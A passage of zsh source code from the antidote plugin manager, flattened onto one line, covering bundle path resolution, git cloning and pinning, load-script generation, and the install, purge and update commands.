staticfile local -a bundle_dirs snapshots antidote_sha=$(command git -C "$antidote_dir" rev-parse --short HEAD 2>/dev/null) || antidote_sha="" if [[ -d "$ANTIDOTE_HOME" ]]; then bundle_dirs=( "$ANTIDOTE_HOME"/*(N/) ) num_bundles=${#bundle_dirs} else num_bundles=0 fi if [[ -d "$ANTIDOTE_SNAPSHOT_DIR" ]]; then snapshots=( "$ANTIDOTE_SNAPSHOT_DIR"/snapshot-*.txt(N) ) num_snapshots=${#snapshots} else num_snapshots=0 fi say "antidote:" if [[ -n "$antidote_sha" ]]; then say " version: $antidote_ver ($antidote_sha)" else say " version: $antidote_ver" fi say " path: $antidote_dir" say " home: $ANTIDOTE_HOME" say " bundles: $num_bundles" say " snapshot dir: $ANTIDOTE_SNAPSHOT_DIR" say " snapshots: $num_snapshots" configfile=${ANTIDOTE_CONFIG:-${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh} if [[ -f "$configfile" ]]; then say " config: $configfile" else say " config: $configfile (not found)" fi zstyle -s ':antidote:bundle' file 'bundlefile' || bundlefile=${ZDOTDIR:-$HOME}/.zsh_plugins.txt if [[ -f "$bundlefile" ]]; then say " bundle file: $bundlefile" else say " bundle file: $bundlefile (not found)" fi zstyle -s ':antidote:static' file 'staticfile' if [[ -z "$staticfile" ]]; then if [[ -z "$bundlefile:t:r" ]]; then staticfile=${bundlefile}.zsh else staticfile=${bundlefile:r}.zsh fi fi if [[ -f "$staticfile" ]]; then say " static file: $staticfile" else say " static file: $staticfile (not found)" fi say "" say "system/utils:" say " system: $(uname -srm 2>/dev/null || say '(unknown)')" say " zsh path: ${commands[zsh]:-(not found)}" say " zsh version: $(zsh --version 2>&1 || say '(unknown)')" say " git path: ${commands[${ANTIDOTE_GIT_CMD}]:-(not found)}" say " git version: $(${ANTIDOTE_GIT_CMD:-git} --version 2>&1 || say '(unknown)')" say "" say "environment:" say " ANTIDOTE_HOME: ${ANTIDOTE_HOME:-(not set)}" say " OSTYPE: ${OSTYPE:-(not set)}" say " TERM: ${TERM:-(not set)}" say " TERM_PROGRAM: ${TERM_PROGRAM:-(not set)}" say " XDG_CONFIG_HOME: ${XDG_CONFIG_HOME:-(not set)}" say " ZDOTDIR: ${ZDOTDIR:-(not set)}" say " ZSH_VERSION: ${ZSH_VERSION:-(not set)}" say "" say "zstyles:" zstyle_output=$(eval "$ANTIDOTE_ZSTYLES"; zstyle -L ':antidote:*' 2>/dev/null) if [[ -n "$zstyle_output" ]]; then for line in "${(@f)zstyle_output}"; do say " $line" done else say " (none)" fi } usage() { say "$ANTIDOTE_HELP" } supports_color() { [[ -n "$NO_COLOR" ]] && return 1 [[ -n "$CLICOLOR_FORCE" ]] && return 0 [[ ! -t 1 ]] && return 1 [[ "$COLORTERM" == (truecolor|24bit) || "$TERM" == (*256color*|*rxvt*) ]] } tourl() { REPLY=$1 if [[ $1 != *://* && $1 != git@*:*/* ]]; then if [[ ${ANTIDOTE_GIT_PROTOCOL:-https} == ssh ]]; then REPLY=git@${ANTIDOTE_GIT_SITE}:$1 else REPLY=https://${ANTIDOTE_GIT_SITE}/$1 fi fi } bundle_type() { local bundle=$1 # Try to expand path bundles with '$' and '~' prefixes so that we get a more # granular result than 'path'. if [[ $bundle == '~/'* ]]; then bundle=${~bundle} elif [[ $bundle == '$'* ]]; then bundle=${(e)bundle} fi # Determine the bundle type. if [[ -e "$bundle" ]]; then [[ -f $bundle ]] && REPLY=file || REPLY=dir elif [[ -z "${bundle// }" ]]; then REPLY=empty else case "$bundle" in (/|~|'$'|'.')*) REPLY=path ;; *://*) REPLY=url ;; *@*:*/*) REPLY=ssh_url ;; *(:|@)*) REPLY='?' ;; *\ *|*$'\t'*) REPLY='?' ;; */*/*) REPLY='?' ;; */) REPLY='?' ;; */*) REPLY=repo ;; *) REPLY=using_subplugin ;; esac fi } # Convert URLs and paths to short user/repo form short_repo_name() { local -a parts REPLY=${1%.git} if [[ "$REPLY" != git@*:*/* ]]; then REPLY=${REPLY:gs/\:/\/} parts=(${(ps./.)REPLY}) REPLY=${parts[-2]}/${parts[-1]} fi } bundle_name() { bundle_type "$1" if [[ "$REPLY" == (url|ssh_url) ]] ; then short_repo_name "$1" else REPLY=${1/#\~\//\$HOME/} REPLY=${REPLY/#$HOME/\$HOME} fi } initfiles() { local dir dir=${1:A} reply=($dir/${dir:A:t}.plugin.zsh(N)) [[ $#reply -gt 0 ]] || reply=($dir/*.plugin.zsh(N)) [[ $#reply -gt 0 ]] || reply=($dir/*.zsh(N)) [[ $#reply -gt 0 ]] || reply=($dir/*.sh(N)) [[ $#reply -gt 0 ]] || reply=($dir/*.zsh-theme(N)) reply=(${(u)reply[@]}) (( $#reply )) || return 1 } get_dir() { local kind="$1" suffix="$2" result if [[ "${ANTIDOTE_OSTYPE}" == darwin* ]]; then case $kind in cache) result=$HOME/Library/Caches ;; data) result="$HOME/Library/Application Support" ;; esac elif [[ "${ANTIDOTE_OSTYPE}" == (cygwin|msys)* ]]; then result=$ANTIDOTE_LOCALAPPDATA if (( $+commands[cygpath] )); then result=$(cygpath "$result") fi else case $kind in cache) result=${XDG_CACHE_HOME:-$HOME/.cache} ;; data) result=${XDG_DATA_HOME:-$HOME/.local/share} ;; esac fi if [[ -n "$suffix" ]]; then if [[ $result == *\\* ]] && [[ $result != */* ]]; then result+="\\$suffix" else result+="/$suffix" fi fi say $result } get_cachedir() { get_dir cache "$@"; } get_datadir() { get_dir data "$@"; } # Print the OS specific temp dir. temp_dir() { local tmpd=/tmp # Use TMPDIR if it has a value and is better than /tmp if [[ -n "$ANTIDOTE_TMPDIR" ]]; then # Use ANTIDOTE_TMPDIR if it exists and is writable if [[ -d "$ANTIDOTE_TMPDIR" ]] && [[ -w "$ANTIDOTE_TMPDIR" ]]; then tmpd="${ANTIDOTE_TMPDIR%/}" elif [[ ! -d /tmp ]] || [[ ! -w /tmp ]]; then # Fall back to ANTIDOTE_TMPDIR only if /tmp is unusable tmpd="${ANTIDOTE_TMPDIR%/}" fi fi say "$tmpd" } del() { local p tmpdir (( $# > 0 )) || return 1 tmpdir=$(temp_dir) for p in $@; do p="${p:a}" if [[ "$p" != ${HOME}/* ]] && [[ "$p" != ${tmpdir}/* ]]; then die "antidote: Blocked attempt to rm path: '$p'." fi done rm -rf -- "$@" } ### Create a cross-platform temporary directory/file for antidote. # usage: maketmp [-d] [-s suffix] # -d Create a directory rather than a file # -s Use this for the temp file/dir # Returns the path of created temp directory/file. maketmp() { local -a o_dir o_suffix local tmpbase pattern zparseopts ${ZPARSEOPTS} -- d=o_dir s:=o_suffix # Set the appropriate temp directory (cargo cult code from p10k) tmpbase=$(temp_dir) # Create the pattern with PID pattern="antidote.$$" # Add suffix if provided with -s if (( $#o_suffix )) && [[ -n "${o_suffix[-1]}" ]]; then pattern="${pattern}.${o_suffix[-1]}" fi # Add random chars pattern="${pattern}.XXXXXXXXXX" # Create temp directory or file if (( $#o_dir )); then mktemp -d "${tmpbase}/${pattern}" else mktemp "${tmpbase}/${pattern}" fi } # Print a path, replacing $HOME with the literal string "$HOME" unless escaped style. print_path() { if [[ $ANTIDOTE_PATH_STYLE == escaped ]]; then REPLY=$1 else REPLY=${1/#$HOME/\$HOME} fi } # Indent each line of input by 2 spaces. indent() { local -a lines lines=("${(@f)$(collect_input "$@")}") printf ' %s\n' $lines } bundle_zcompile() { builtin autoload -Uz zrecompile local -a bundles if [[ -z "$1" ]]; then bundles=($(antidote_list --dirs)) elif [[ -f "$1" ]]; then zrecompile -pq "$1" return elif [[ -d "$1" ]]; then bundles=($1) else bundles=($(antidote_path "$1")) fi local bundle zfile for bundle in $bundles; do for zfile in ${bundle}/**/*.zsh{,-theme}(N); do [[ $zfile != */test-data/* ]] || continue zrecompile -pq "$zfile" done done } # Read input from args, pipe, or redirect. collect_input() { local data local -a input=() if (( $# > 0 )); then input=("${(s.\n.)${@}}") elif [[ ! -t 0 ]]; then while IFS= read -r data || [[ -n "$data" ]]; do input+=("$data") done fi printf '%s\n' "${input[@]}" } ### Compute the bundle directory path for a given path-style. # # Unlike bundle_dir, this always computes based on the requested style # without checking for existing directories. # __bundle_dir_by_style() { local url=$1 style=${2:-$ANTIDOTE_PATH_STYLE} REPLY=$url case $style in escaped) REPLY=${REPLY:gs/\@/-AT-} REPLY=${REPLY:gs/\:/-COLON-} REPLY=${REPLY:gs/\//-SLASH-} ;; *) if [[ $REPLY == https://* ]]; then REPLY=${REPLY#https://} elif [[ $REPLY == git@*:* ]]; then REPLY=${REPLY#git@} REPLY=${REPLY:s/\:/\/} fi if [[ $style == short ]]; then REPLY=${REPLY#*/} fi ;; esac REPLY=$ANTIDOTE_HOME/$REPLY } bundle_dir() { # Determine the bundle directory based on the configured path-style: # full (default) : $ANTIDOTE_HOME/github.com/owner/repo # short : $ANTIDOTE_HOME/owner/repo # escaped : $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo # # If a clone already exists under a different path-style, return it rather # than computing a new path. No side effects - use bundle_dir_cleanup to # remove legacy duplicates. local bundle=$1 local url preferred style dir found local -a other_styles=(full short escaped) bundle_type "$bundle" if [[ "$REPLY" == (repo|url|ssh_url) ]] && [[ ! -e "$bundle" ]]; then tourl $bundle; url=${REPLY%.git} __bundle_dir_by_style "$url"; preferred=$REPLY if [[ -d "$preferred" ]]; then REPLY=$preferred else # Check other path-styles for existing clones. other_styles=( ${other_styles:#$ANTIDOTE_PATH_STYLE} ) for style in $other_styles; do __bundle_dir_by_style "$url" "$style"; dir=$REPLY if [[ -d "$dir" ]]; then found=$dir break fi done REPLY=${found:-$preferred} fi elif [[ -f "$bundle" ]]; then REPLY=${bundle:A:h} else REPLY=${bundle} fi } ### Remove legacy path-style duplicates for a bundle. # # If the preferred path exists, remove any clones under other path-styles. # Called during bundling to clean up after a path-style migration. # bundle_dir_cleanup() { local bundle=$1 preferred=$2 local url style dir local -a other_styles=(full short escaped) bundle_type "$bundle" if [[ "$REPLY" == (repo|url|ssh_url) ]] && [[ ! -e "$bundle" ]]; then tourl $bundle; url=${REPLY%.git} [[ -z "$preferred" ]] && { __bundle_dir_by_style "$url"; preferred=$REPLY } # Only clean up if the preferred path exists. [[ -d "$preferred" ]] || return 0 other_styles=( ${other_styles:#$ANTIDOTE_PATH_STYLE} ) for style in $other_styles; do __bundle_dir_by_style "$url" "$style"; dir=$REPLY [[ -d "$dir" ]] && del "$dir" done fi } ### Remove legacy path-style duplicates for all bundles in the matrix. bundle_dir_cleanup_pass() { local i for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__type__]}" == (repo|url|ssh_url) ]] || continue bundle_dir_cleanup "${_parsed_bundles[$i,__bundle__]}" done } ### Sync pin state for all pinned repo bundles in the matrix. # # Only handles bundles with an active pin: annotation. The "pin removed" case # (clearing a previously-set antidote.pin git config) is handled inside # zsh_script so it runs in parallel across all bundles. # bundle_sync_pins() { local i bundle_path bname pin pin_sha current_pin for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__type__]}" == (repo|url|ssh_url) ]] || continue pin=${_parsed_bundles[$i,pin]:-} [[ -n "$pin" ]] || continue bundle_path=${_parsed_bundles[$i,__dir__]} [[ -e "$bundle_path" ]] || continue bname=${_parsed_bundles[$i,__name__]} pin_sha="$pin" current_pin=$(git_config_get "$bundle_path" antidote.pin) if [[ "$current_pin" != "$pin_sha" ]] || [[ "$(git_sha "$bundle_path")" != "$pin_sha" ]]; then if ! git_checkout_pin "$bundle_path" "$pin_sha" "$bname"; then return 1 fi [[ "$ANTIDOTE_EPHEMERAL_PIN" != true ]] && git_config_set "$bundle_path" antidote.pin $pin_sha fi done } ### Zcompile all bundles in the matrix that have zcompile enabled. bundle_zcompile_pass() { local i bundle_str bundle_path subpath kind for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do bundle_str=${_parsed_bundles[$i,__bundle__]} zstyle -t ":antidote:bundle:$bundle_str" zcompile || continue kind=${_parsed_bundles[$i,kind]:-zsh} # clone-only bundles: compile the whole bundle dir # zsh bundles: compile the bundle dir (possibly with subpath) # fpath/path/autoload/defer: skip [[ "$kind" == (fpath|path|autoload) ]] && continue bundle_path=${_parsed_bundles[$i,__dir__]:-$bundle_str} subpath=${_parsed_bundles[$i,path]:-} [[ -n "$subpath" ]] && bundle_path+="/$subpath" [[ -e "$bundle_path" ]] || continue bundle_zcompile $bundle_path done } ### Emit critical errors from the parsed bundle matrix and return 1 if any exist. # bundle_check_critical() { local i if (( _parsed_bundles[__has_critical__] )); then for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__severity__]}" == "critical" ]] || continue warn "# antidote: critical error on line ${_parsed_bundles[$i,__lineno__]}: ${_parsed_bundles[$i,__error__]}" done return 1 fi } bundle_scripter() { local i key bval skip_load_defer=0 err=0 local -a row bkeys if (( !${_parsed_bundles[__count__]:-0} )); then die "antidote: error: bundle argument expected" fi for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do if [[ -n "${_parsed_bundles[$i,__error__]}" ]]; then warn "# antidote: ${_parsed_bundles[$i,__severity__]:-error} on line ${_parsed_bundles[$i,__lineno__]}: ${_parsed_bundles[$i,__error__]}" err=1 continue fi # Serialize matrix row as key-value args for zsh_script. # Pass __bundle__ and __type__ as the only internal keys; pass all user keys. bval=${_parsed_bundles[$i,__bundle__]} if [[ "$bval" == "${(q)bval}" || "$bval" == '~'* ]]; then row=(__bundle__ "$bval") else row=(__bundle__ "${(qq)bval}") fi row+=(__type__ "${_parsed_bundles[$i,__type__]}") bkeys=(${${(k)_parsed_bundles[(I)$i,^__*]}#$i,}) for key in ${(o)bkeys}; do bval=${_parsed_bundles[$i,$key]} if [[ "$bval" == "${(q)bval}" ]]; then row+=("$key" "$bval") else row+=("$key" "${(qq)bval}") fi done # Track defers: inject __skip_load_defer__ for 2nd+ defer bundles if [[ "${_parsed_bundles[$i,kind]}" == defer ]]; then if (( skip_load_defer == 0 )); then skip_load_defer=1 else row+=(__skip_load_defer__ 1) fi fi printf 'zsh_script' printf ' %s' "${row[@]}" printf '\n' done return $err } ### Wrap bundle_scripter output for parallel execution. # # Converts sequential zsh_script calls into parallel ones that write # to numbered temp files, then concatenates results in order. # bundle_scripter_parallel() { local line par_dir local n=0 par_dir=$(maketmp -d -s par) while IFS= read -r line; do (( n++ )) printf '%s > "%s"/%03d &\n' "$line" "$par_dir" $n done < <(bundle_scripter "$@") if (( n > 0 )); then printf 'wait\n' printf 'cat "%s"/*\n' "$par_dir" printf 'rm -rf "%s"\n' "$par_dir" fi } ### Generate the Zsh script to load a plugin. # # usage: zsh_script __bundle__ [key value ...] # Accepts a flat key-value list (assoc array pairs) describing the bundle. # Keys: __bundle__, kind, path, branch, pin, conditional, autoload, pre, # post, fpath-rule, __skip_load_defer__, __type__, __dir__ # : zsh,path,fpath,defer,clone,autoload # zsh_script() { local bundle_str bname bundle_path btype dopts zsh_defer zsh_defer_bundle giturl current_pin unpin_branch local source_cmd print_bundle_path initfile print_initfile fpath_script local kind subpath branch pin cond autoload_path pre post fpath_rule skip_load_defer local -A bundle local -a supported_kind_vals supported_fpath_rules script branch_flag # Reconstruct assoc array from flat key-value arg list bundle=("$@") bundle_str=${bundle[__bundle__]} if [[ -z "$bundle_str" ]]; then warn "antidote: error: bundle argument expected" return 1 fi # Extract fields with defaults kind=${bundle[kind]:-zsh} subpath=${bundle[path]:-} branch=${bundle[branch]:-} pin=${bundle[pin]:-} cond=${bundle[conditional]:-} autoload_path=${bundle[autoload]:-} pre=${bundle[pre]:-} post=${bundle[post]:-} fpath_rule=${bundle[fpath-rule]:-$ANTIDOTE_FPATH_RULE} skip_load_defer=${bundle[__skip_load_defer__]:-0} supported_kind_vals=(autoload clone defer fpath path zsh) if ! (( $supported_kind_vals[(Ie)$kind] )); then warn "antidote: error: unexpected kind value: '$kind'" return 1 fi supported_fpath_rules=(append prepend) if ! (( $supported_fpath_rules[(Ie)$fpath_rule] )); then warn "antidote: error: unexpected fpath rule: '$fpath_rule'" return 1 fi # Use pre-computed type from matrix if available, otherwise compute if [[ -n "${bundle[__type__]}" ]]; then btype=${bundle[__type__]} else bundle_type $bundle_str; btype=$REPLY fi if [[ -n "${bundle[__name__]}" ]]; then bname=${bundle[__name__]} else bundle_name $bundle_str; bname=$REPLY fi # replace ~/ with $HOME/ if [[ "$bundle_str" == '~/'* ]]; then bundle_str=${~bundle_str} fi # set the path to the bundle (repo or local) if [[ -e "$bundle_str" ]]; then bundle_path=$bundle_str elif [[ "$btype" == (repo|url|ssh_url|using_subplugin) ]]; then if [[ -n "${bundle[__dir__]}" ]]; then bundle_path=${bundle[__dir__]} else bundle_dir $bundle_str; bundle_path=$REPLY fi else bundle_path=$bundle_str fi if [[ -n "$pin" ]] && [[ "$btype" == (repo|url|ssh_url) ]]; then pin_sha="$pin" if (( $#pin_sha != 40 )) || [[ "$pin_sha" != [0-9a-f](#c40) ]]; then warn "antidote: error: pin requires a full 40-character commit SHA, got '$pin_sha'" return 1 fi fi # handle cloning repo bundles if [[ "$btype" == (repo|url|ssh_url) ]] && [[ ! -e "$bundle_path" ]]; then giturl=${bundle[__url__]:-} [[ -z "$giturl" ]] && { tourl $bundle_str; giturl=$REPLY } warn "# antidote cloning $bname..." if [[ -n "$pin" ]]; then git_clone $bundle_path $giturl || return 1 if ! git_checkout_pin "$bundle_path" "$pin_sha" "$bname"; then del "$bundle_path" return 1 fi [[ "$ANTIDOTE_EPHEMERAL_PIN" != true ]] && git_config_set "$bundle_path" antidote.pin $pin_sha else branch_flag=() [[ -n "$branch" ]] && branch_flag=(-b "$branch") git_clone $bundle_path "${branch_flag[@]}" $giturl || return 1 fi fi # Pin removed - clear config and return to branch so update can pull. # Runs here (in parallel) rather than bundle_sync_pins to avoid sequential git calls. if [[ "$btype" == (repo|url|ssh_url) ]] && [[ -e "$bundle_path" ]] && [[ -z "$pin" ]]; then if [[ -n "$(git_config_get "$bundle_path" antidote.pin)" ]]; then git_config_unset "$bundle_path" antidote.pin unpin_branch="$branch" if [[ -z "$unpin_branch" ]]; then unpin_branch=$(git -C "$bundle_path" rev-parse --abbrev-ref origin/HEAD 2>/dev/null) unpin_branch=${unpin_branch#origin/} fi [[ -n "$unpin_branch" ]] && git -C "$bundle_path" checkout --quiet "$unpin_branch" 2>/dev/null fi fi # if we only needed to clone the bundle, we're done if [[ "$kind" == clone ]]; then return fi # add path to bundle [[ -n "$subpath" ]] && bundle_path+="/$subpath" # handle defer pre-reqs first dopts= zsh_defer='zsh-defer' zstyle -s ":antidote:bundle:${bundle_str}" defer-options 'dopts' [[ -n "$dopts" ]] && zsh_defer="zsh-defer $dopts" # generate the script script=() # add pre-load function [[ -n "$pre" ]] && script+=("$pre") # handle defers source_cmd="source" zsh_defer_bundle=$ANTIDOTE_DEFER_BUNDLE if [[ "$kind" == defer ]]; then source_cmd="${zsh_defer} source" if (( !skip_load_defer )); then script+=( 'if ! (( $+functions[zsh-defer] )); then' "$(zsh_script __bundle__ $zsh_defer_bundle | indent)" 'fi' ) fi fi # Let's make the path a little nicer to deal with print_path "$bundle_path"; print_bundle_path=$REPLY # handle autoloading before sourcing if [[ -n "$autoload_path" ]]; then if [[ "$fpath_rule" == prepend ]]; then script+=("fpath=( \"${print_bundle_path}/${autoload_path}\" \$fpath )") script+=("builtin autoload -Uz \$fpath[1]/*(N.:t)") else script+=("fpath+=( \"${print_bundle_path}/${autoload_path}\" )") script+=("builtin autoload -Uz \$fpath[-1]/*(N.:t)") fi fi # generate load script - recheck type since path may have been appended if [[ "$btype" != file ]] && [[ -f "$bundle_path" ]]; then btype=file fi if [[ "$fpath_rule" == prepend ]]; then fpath_script="fpath=( \"$print_bundle_path\" \$fpath )" else fpath_script="fpath+=( \"$print_bundle_path\" )" fi if [[ "$kind" == fpath ]]; then # fpath script+="$fpath_script" elif [[ "$kind" == path ]]; then # path script+="export PATH=\"$print_bundle_path:\$PATH\"" elif [[ "$kind" == autoload ]]; then # autoload script+=("$fpath_script") if [[ "$fpath_rule" == prepend ]]; then script+=("builtin autoload -Uz \$fpath[1]/*(N.:t)") else script+=("builtin autoload -Uz \$fpath[-1]/*(N.:t)") fi else if [[ $btype == file ]]; then script+="$source_cmd \"$print_bundle_path\"" else # directory/default initfiles $bundle_path # if no init file was found, assume the default if [[ $#reply -eq 0 ]]; then if [[ -n "$subpath" ]]; then reply=($bundle_path/${bundle_path:t}.plugin.zsh) else reply=($bundle_path/${bname:t}.plugin.zsh) fi fi script+="$fpath_script" for initfile in $reply; do print_path "$initfile"; print_initfile=$REPLY script+="$source_cmd \"$print_initfile\"" done fi fi # add post-load function if [[ -n "$post" ]]; then if [[ "$kind" == defer ]]; then script+=("${zsh_defer} $post") else script+=("$post") fi fi # wrap conditional if [[ -n "$cond" ]]; then print "if $cond; then" # (F)join + (@f)split flattens multiline elements so each line gets indented printf " %s\n" "${(@f)${(F)script}}" print "fi" else printf "%s\n" $script fi } ### Clone bundle(s) and generate the static load script. # # usage: antidote bundle [-h|--help] ... # antidote_bundle() { local o_help bundle_output err=0 local -a zcompile_script # Ensure all stderr from this function starts with '#' so redirected bundle # output is safe to source. exec 2> >(while IFS= read -r _line; do [[ "$_line" == '#'* ]] || _line="# $_line" print -r -- "$_line" >&2 done) zparseopts ${ZPARSEOPTS} -- h=o_help -help=h || return 1 if (( $#o_help )); then usage return fi # Parse all bundles once into the matrix bundle_parser < <(collect_input "$@") (( _parsed_bundles[__has_errors__] )) && err=1 if ! (( _parsed_bundles[__count__] )); then # A pure using: directive (path-based) produces no bundle entries but does # update the context - emit it in dynamic mode so the parent shell sees it. if [[ "$ANTIDOTE_DYNAMIC" == true && ${#_antidote_using_context} -gt 0 ]]; then typeset -p _antidote_using_context return 0 fi return 1 fi # Bail on critical errors (conflicting/inconsistent pins or branches). bundle_check_critical || return 1 # output static file compilation zcompile_script=( "function {" ' 0=${(%):-%x}' ' local staticfile=${0:A}' ' [[ -e ${staticfile} ]] || return 1' ' if [[ ! -s ${staticfile}.zwc || ${staticfile} -nt ${staticfile}.zwc ]]; then' ' builtin autoload -Uz zrecompile' ' zrecompile -pq ${staticfile}' ' fi' '}' ) # Clone all missing repos in parallel, sync pins, zcompile if (( _parsed_bundles[__count__] > 1 )); then source <(bulk_clone) fi (( _parsed_bundles[__has_pins__] )) && { bundle_sync_pins || return 1 } bundle_zcompile_pass # generate bundle script in parallel - zsh_script still handles clone fallback bundle_output=$(source <(bundle_scripter_parallel)) || return $? # clean up legacy path-style dirs after cloning is complete bundle_dir_cleanup_pass # output static file compilation if zstyle -t ':antidote:static' zcompile; then printf '%s\n' $zcompile_script fi [[ -n "$bundle_output" ]] && printf '%s\n' "$bundle_output" || err=$? # In dynamic mode, emit the use context so the parent shell can source it # and pass it back into the next subprocess call via ANTIDOTE_USING_CTX. if [[ "$ANTIDOTE_DYNAMIC" == true && ${#_antidote_using_context} -gt 0 ]]; then typeset -p _antidote_using_context fi return $err } ### Clone a new bundle and add it to your plugins file. # # usage: antidote install [-h|--help] [-k|--kind ] [-p|--path ] # [-c|--conditional ] [-b|--branch ] # [--pre ] [--post ] # [-a|--autoload ] [] # antidote_install() { local arg bundle bundlefile bundledir bundlestr local -a annotations local -A flag_to_annotation flag_to_annotation=( '-a' autoload '-b' branch '-c' conditional '-h' help '-k' kind '-p' path ) annotations=() while (( $# )); do arg="$1" case "$arg" in -h|--help) usage return ;; --) shift; break ;; --*) annotations+=( "${arg#*--}:$2" ); shift ;; -*) annotations+=( $flag_to_annotation[$arg]:$2 ); shift ;; *) break ;; esac shift done if [[ $# -eq 0 ]]; then die "antidote: error: required argument 'bundle' not provided, try --help" fi bundle=$1 bundlefile=$2 if [[ -z "$bundlefile" ]]; then zstyle -s ':antidote:bundle' file 'bundlefile' || bundlefile=${ZDOTDIR:-$HOME}/.zsh_plugins.txt fi bundle_dir $bundle; bundledir=$REPLY if [[ -d "$bundledir" ]]; then die "antidote: error: $bundle already installed: $bundledir" fi # use antidote bundle to clone our bundle bundlestr=$bundle (( $#annotations )) && bundlestr+=" $annotations" if ! antidote_bundle "$bundlestr" >/dev/null; then die "antidote: unable to install bundle '$bundle'." else say "Adding bundle to '$bundlefile':" say $bundlestr | tee -a $bundlefile fi } ### Remove a cloned bundle. # # usage: antidote purge [-h|--help] # antidote purge [-a|--all] # antidote_purge() { local o_help o_all REPLY i line local bundlefile bundle bundledir dtstmp p local -a lines zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ a=o_all -all=a || return 1 if (( $#o_help )); then usage return fi if [[ $# -eq 0 ]] && ! (( $#o_all )); then die "antidote: error: required argument 'bundle' not provided, try --help" fi zstyle -s ':antidote:bundle' file 'bundlefile' || bundlefile=${ZDOTDIR:-$HOME}/.zsh_plugins.txt if (( $#o_all )); then # last chance to save the user from themselves zstyle -s ':antidote:test:purge' answer 'REPLY' || { read -q "REPLY?You are about to permanently remove '$ANTIDOTE_HOME' and all its contents!${NL}Are you sure [Y/n]? " print } [[ ${REPLY:u} == "Y" ]] || return 1 # If $ANTIDOTE_HOME is a symlink, we need to remove contents under it before removing it if [[ -L "$ANTIDOTE_HOME" ]]; then () { setopt localoptions glob_dots for p in "$ANTIDOTE_HOME"/*(N); do del "$p" done } fi del "$ANTIDOTE_HOME" if [[ -e "${bundlefile:r}.zsh" ]]; then zstyle -s ':antidote:test:purge' answer 'REPLY' || { read -q "REPLY?You are about to remove '${bundlefile:t:r}.zsh'"$'\n'"Are you sure [Y/n]? " print } if [[ ${REPLY:u} == "Y" ]]; then dtstmp=$(date -u '+%Y%m%d_%H%M%S') command mv -f "${bundlefile:r}.zsh" "${bundlefile:r}.${dtstmp}.bak" say "'"${bundlefile:r}.zsh"' backed up to '${bundlefile:t:r}.${dtstmp}.bak'" fi fi say "Antidote purge complete. Be sure to start a new Zsh session." else bundle=$1 # make sure the user isn't trying to do something out-of-bounds if [[ -e "$bundle" ]]; then ERR=2 die "antidote: error: '$bundle' is not a repo and cannot be removed by antidote." fi bundle_dir $bundle; bundledir=$REPLY if [[ ! -d "$bundledir" ]]; then die "antidote: error: $bundle does not exist at the expected location: $bundledir" fi # remove del "$bundledir" say "Removed '$bundle'." # attempt to comment out the bundle from .zsh_plugins.txt if [[ -e "$bundlefile" ]]; then lines=( "${(@f)"$(<$bundlefile)"}" ) for (( i=1; i<=$#lines; i++ )); do [[ "${lines[$i]}" =~ "^[[:blank:]]*${bundle}" ]] && lines[$i]="# $lines[$i]" done printf '%s\n' "${lines[@]}" > "$bundlefile" say "Bundle '$bundle' was commented out in '$bundlefile'." fi fi } ### Update antidote's cloned bundles. # # usage: antidote update [-h|--help] [-n|--dry-run] # antidote_update() { setup_color local o_help o_dry_run local tmpfile tmpdir bundledir url repo filename repo_id pin_ref local line loadable_check_path zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ n=o_dry_run -dry-run=n || return 1 if (( $#o_help )); then usage return fi if (( $#o_dry_run )); then say "Checking for bundle updates (dry run)..." else say "Updating bundles..." # remove zcompiled files del $ANTIDOTE_HOME/**/*.zwc(N) # remove check file loadable_check_path="${ANTIDOTE_HOME}/.antidote.load" [[ -r "$loadable_check_path" ]] && del "$loadable_check_path" fi # Setup temporary directory tmpdir=$(maketmp -d -s update) # Set trap to ensure cleanup on exit, interrupt, etc. # (EXIT is special, 2=INT, 15=TERM, 1=HUP) trap '[[ -d "$tmpdir" ]] && del "$tmpdir"' EXIT 2 15 1 # update all bundles for bundledir in $(antidote_list --dirs); do url=$(git_url "$bundledir") short_repo_name "$url"; repo=$REPLY # Skip pinned bundles pin_ref=$(git_config_get "$bundledir" antidote.pin) if [[ -n "$pin_ref" ]]; then say "${C_BLUE}antidote:${C_NORMAL} skipping update for pinned bundle: $repo (at ${C_GREEN}${pin_ref[1,7]}...${C_NORMAL})" continue fi say "${C_BLUE}antidote:${C_NORMAL} checking for updates: $repo" () { local repo_id tmpfile oldsha newsha local GIT_CONFIG_GLOBAL GIT_CONFIG_SYSTEM repo_id="${repo//\//-SLASH-}" tmpfile="${tmpdir}/${repo_id}.output" oldsha=$(git_sha "$1") # Isolate git from user config GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null # Unshallow the repo if needed if git_is_shallow "$1"; then git_fetch "$1" --unshallow || return 1 else git_fetch "$1" || return 1 fi if (( $#o_dry_run )); then # Compare local HEAD against fetched remote HEAD newsha=$(git -C "$1" rev-parse FETCH_HEAD 2>/dev/null) || newsha=$oldsha else git_pull "$1" || return 1 git_submodule_sync "$1" || return 1 git_submodule_update "$1" || return 1 newsha=$(git_sha "$1") fi # Capture all output to temporary file { if [[ $oldsha != $newsha ]]; then if (( $#o_dry_run )); then say "${C_YELLOW}antidote:${C_NORMAL} update available: $2 ${C_GREEN}${oldsha[1,7]}${C_NORMAL} -> ${C_GREEN}${newsha[1,7]}${C_NORMAL}" else say "${C_GREEN}antidote:${C_NORMAL} updated: $2 ${C_GREEN}${oldsha[1,7]}${C_NORMAL} -> ${C_GREEN}${newsha[1,7]}${C_NORMAL}" fi git_log_oneline "$1" "$oldsha" "$newsha" fi # recompile bundles if ! (( $#o_dry_run )); then if zstyle -t ":antidote:bundle:$repo" zcompile; then bundle_zcompile $bundledir fi fi } > "$tmpfile" 2>&1 } "$bundledir" "$repo" & done say "Waiting for bundle updates to complete..." say "" wait # Display all output in sequence for tmpfile in "$tmpdir"/*.output(N); do if [[ -s "$tmpfile" ]]; then filename=${tmpfile:t} repo_id=${filename%.output} repo_id=${repo_id//-SLASH-/\/} say "${C_BLUE}Bundle ${repo_id} update check complete.${C_NORMAL}" # 